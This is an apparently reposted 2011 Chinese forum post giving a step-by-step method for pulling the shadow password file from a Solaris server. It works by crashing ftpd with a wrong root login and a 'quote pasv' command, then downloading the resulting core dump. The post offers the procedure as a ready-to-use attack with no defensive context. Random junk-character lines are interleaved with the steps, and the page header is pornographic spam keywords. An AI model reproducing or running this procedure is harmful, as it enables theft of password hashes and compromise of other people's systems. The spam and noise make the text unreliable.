久久综合伊人噜噜色,日本三级香港三级人妇电影精品,亚洲中文色资源,国产高清一区二区三区人妖
汶上信息港
標(biāo)題:
如何用FIP獲取shadow口令文件
[打印本頁(yè)]
作者:
雜七雜八
時(shí)間:
2011-1-12 21:01
標(biāo)題:
如何用FIP獲取shadow口令文件
該方法利用了Solaris 操作系統(tǒng)中FTPD的一個(gè)BUG,使得用戶可以獲得該機(jī)的口令文件。具體過(guò)程如下:
. ? B i4 x# g
" c& q; ^* z0 P" C" v& m9 u
1.通過(guò) ftp 正常登錄到目的主機(jī)上
8 z8 k8 l; `) d- c6 X3 ~2 E6 W% I
' {. E& `- K% t
2.輸入如下命令序列:
, c% D( S, M8 Y3 W8 N
0 d5 [: i' k1 \1 G" Z
ftp> user root wrongpasswd
" M$ m* ?5 J8 J1 P7 E( f
4 a) D4 ^, C3 k E. n" [( I7 F
ftp> quote pasv
% S) N* w( i3 ~# C/ g
! p$ e. ?' n- h! m
3.這時(shí),ftpd會(huì)報(bào)錯(cuò)退出,同時(shí)會(huì)在當(dāng)前目錄下生成一個(gè)core,口令文件就包含在這個(gè)core中。
. O9 J s; \2 F& L5 W
# L0 }1 f+ o0 A& s0 ?4 q9 `: P& Q7 p
4.再次進(jìn)入FTP >get core
3 R! b4 c1 b% o( X- V3 Z6 |3 ]
9 l" I' c% l4 B" ~
補(bǔ)充:雖然在core只有一部分shadow,但是對(duì)于系統(tǒng)來(lái)說(shuō)已經(jīng)是致命的打擊了
1 {/ K6 C% v# Z# C" [8 w
! b4 Z" A& l! C- e" g
歡迎光臨 汶上信息港 (http://m.junkejituan.com/)
Powered by Discuz! X3.5